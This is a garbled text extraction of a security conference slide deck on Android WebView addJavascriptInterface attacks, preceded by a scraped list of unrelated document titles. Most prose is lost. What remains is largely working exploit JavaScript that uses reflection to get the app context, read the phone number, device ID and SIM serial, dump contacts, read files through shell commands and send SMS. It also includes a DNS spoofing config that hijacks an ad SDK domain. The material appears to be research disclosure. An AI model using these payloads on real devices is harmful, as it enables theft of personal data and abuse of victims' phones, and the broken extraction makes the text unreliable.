Hasegawa_pacsec.pptx

Similar documents
10/ / /30 3. ( ) 11/ 6 4. UNIX + C socket 11/13 5. ( ) C 11/20 6. http, CGI Perl 11/27 7. ( ) Perl 12/ 4 8. Windows Winsock 12/11 9. JAV

JavaScript 1.! DOM Ajax Shelley Powers,, JavaScript David Flanagan, JavaScript 2

ALG ppt

アルゴリズムとデータ構造1

e10s におけるプロセス間通信の基本 219 HACK #34 Components.manager.removeBootstrappedManifestLocati on() function shutdown(adata, areason) { const IOService =

Java updated

syspro-0405.ppt

haskell.gby

新・明解Java入門

intra-mart Accel Platform — IM-Repository拡張プログラミングガイド   初版  

3 Java 3.1 Hello World! Hello World public class HelloWorld { public static void main(string[] args) { System.out.println("Hello World");

I 11

8 if switch for while do while 2

class IntCell { private int value ; int getvalue() {return value; private IntCell next; IntCell next() {return next; IntCell(int value) {this.value =

文字列操作と正規表現

JavaScript の使い方

1: Preference Display 1 package sample. pref ; 2 3 import android. app. Activity ; 4 import android. content. Intent ; 5 import android. content. Shar

226

<348C8E8D862E696E6464>

Javaで体験するスクリプト言語の威力

Java (9) 1 Lesson Java System.out.println() 1 Java API 1 Java Java 1

SmartBrowser_document_build30_update.pptx

r3.dvi


Microsoft PowerPoint - Lecture_3

K227 Java 2

class IntCell { private int value ; int getvalue() {return value; private IntCell next; IntCell next() {return next; IntCell(int value) {this.value =

untitled

VB.NETコーディング標準

Windows Web Windows Windows WinSock

listings-ext

: : : TSTank 2

cat A

55 7 Java C Java TCP/IP TCP/IP TCP TCP_RO.java import java.net.*; import java.io.*; public class TCP_RO { public static void main(string[] a

1.ppt

java_servlet2_見本

FA0072 FA0028


Exam : 1z1-809-JPN Title : Java SE 8 Programmer II Vendor : Oracle Version : DEMO Get Latest & Valid 1z1-809-JPN Exam's Question and Answers 1 from Ac

グラフの探索 JAVA での実装

「Android Studioではじめる 簡単Androidアプリ開発」正誤表

CX-Checker CX-Checker (1)XPath (2)DOM (3) 3 XPath CX-Checker. MISRA-C 62%(79/127) SQMlint 76%(13/17) XPath CX-Checker 3. CX-Checker 4., MISRA-C CX- Ch

Client client = ClientBuilder.newClient(); WebTarget webtarget = client.target(" " "); Invo

Local variable x y i paint public class Sample extends Applet { public void paint( Graphics gc ) { int x, y;... int i=10 ; while ( i < 100 ) {... i +=


HOW DO I WebBrowser コントロールで HTML5 を 使用するには ここでは以下の手順で説明します Video 要素を使用する Silverlight と JavaScript の間でやり取りする Canvas 要素を使用する Video 要素を使用する 1. Visual Stu

Exam : 1z0-809 日本語 (JPN) Title : Java SE 8 Programmer II Vendor : Oracle Version : DEMO 1 / 8 Get Latest & Valid 1z0-809-JPN Exam's Question and Answe

明解Javaによるアルゴリズムとデータ構造

Object MenuComponent MenuBar MenuItem Menu CheckboxMenuItem

DEMO1 まずはやってみよう アクティビティをダブルクリック 作成 - プロジェクト C# => Workflow CodeActivity をぽとぺ シーケンシャルと ステートマシン それぞれのコ ンソールアプリ あとライブラリがある びっくりマークは足りていないあかし プロパティをみると判別で

やさしいJavaプログラミング -Great Ideas for Java Programming サンプルPDF

MPI MPI MPI.NET C# MPI Version2

目的 泡立ち法を例に Comparableインターフェイスの実装 抽象クラスの利用 型パラメタの利用 比較 入替 の回数を計測

r02.dvi



/* do-while */ #include <stdio.h> #include <math.h> int main(void) double val1, val2, arith_mean, geo_mean; printf( \n ); do printf( ); scanf( %lf, &v

Microsoft Word - keisankigairon.ch doc

明解Java入門編

2 static final int DO NOTHING ON CLOSE static final int HIDE ON CLOSE static final int DISPOSE ON CLOSE static final int EXIT ON CLOSE void setvisible

明解Javaによるアルゴリズムとデータ構造


C言語によるアルゴリズムとデータ構造

日 力力 生 行行 入 入 力力 生 用 方

Java学習教材

Transcription:

NetAgent Co., Ltd.

自己 長谷

自己

用 行

ff http://developer.android.com/about/dashboards/index.html

示 示

h"p://media.admob.com/sdk core v40.js

// MainActivity.java public class foo{... public void method( String message ){ dosomething( message );... WebViewObj.addJavascriptInterface( new foo, "javafooobj" ); <script> // inside WebView HTML javafooobj.method( "Hello, World from JavaScript" ); </script>

非 生 用

function getcontext(){ var s, prop, jsinterface, r; for( s in window ){ if( typeof window[ s ] === "object" && window[ s ]!== null ){ prop = window[ s ].tostring(); if( prop.match( /@[\da fa F]+/ ) ){ jsinterface = window[ s ]; if(!jsinterface ) return undefined; r = function( jsinterface ){ this.jsinterface = jsinterface; this.loadclass = function( classname ){ return this.jni = this.jsinterface.getclass().getclassloader().loadclass( classname ); ; this.jni = this.loadclass( "android.webkit.jniutil" ); var myfield = this.jni.getdeclaredfield('scontext'); myfield.setaccessible( true ); this.context = myfield.get( this.jni ); return new r( jsinterface );

function getcontext(){... var env = getcontext(); var checkpermission = function( permission ){ return env.context.getpackagemanager().checkpermission( permission, env.context.getpackagename() ) == 0; ; if( checkpermission( "android.permission.read_phone_state" ){...

// requires READ_PHONE_STATE permission function getcontext(){... var env = getcontext(); var telephonymanager = env.context.getsystemservice( "phone" ); do_something( telephonymanager.getline1number() ); do_something( telephonymanager.getdeviceid() ); do_something( telephonymanager.getsimserialnumber() );

// requires no permissions function getcontext(){... var filename = "/sdcard/download/test.txt"; var runtimeclass = env.loadclass( "java.lang.runtime" ); var runtime = runtimeclass.getmethod("getruntime", { ).invoke( null, { ); var process = runtime.exec( ["sh", " c", "ls l " + filename + ";echo \x01" ] ); var c, n, s = "", filesize; for( n = 0; n < 2000; n++ ){ if( ( c = process.getinputstream().read() ) == 0x01 )break; s += String.fromCharCode( c ); filesize = s.split( /\s+/g )[ 3 ] 0; process = runtime.exec( [ "sh", " c", "cat " + filename ] ); for( s = "", n = 0; n < filesize; n++ ){ c = process.getinputstream().read(); s += String.fromCharCode( c ); do_something( s );

// requires READ_CONTACTS permissions function getcontext(){... var ub = env.loadclass( "android.net.uri$builder" ); var uri = ub.newinstance().scheme( "content" ).authority( "com.android.contacts" ).path( "data" ).build(); var contentresolver = env.context.getcontentresolver(); var cursor = contentresolver.query( uri, [], "", [], "" ); var colcnt = cursor.getcolumncount(); while( cursor.movetonext() ){ var t = ""; for( var i = 0; i < colcnt; i++ ){ var s = cursor.getstring( i ); if( s!== undefined ){ t += cursor.getcolumnname( i ) + ":" + s + ","; do_something( t );

// requires SEND_SMS permission function getcontext(){... var env = getcontext(); var target = "080xxxxxxxx"; var text = "Hello, message"; var smsmanagerclass = env.loadclass( "android.telephony.smsmanager" ); var smsmanager = smsmanagerclass.getmethod( "getdefault", { ).invoke( null, { ); smsmanager.sendtextmessage( target, null, text, null, null );

// requires SEND_SMS permission function getcontext(){... var env = getcontext(); var runtimeclass = env.loadclass( "java.lang.runtime" ); var runtime = runtimeclass.getmethod("getruntime", { ).invoke( null, { ); var process = runtime.exec( [ "service", "call", "SERVICENAME", "args" ]);

# unbound.conf local data: "media.admob.com 10 IN A 192.168.11.254" A"acker Vic>ms

Reference goroh_kun(2013) Android : 3 WebView 2013 9,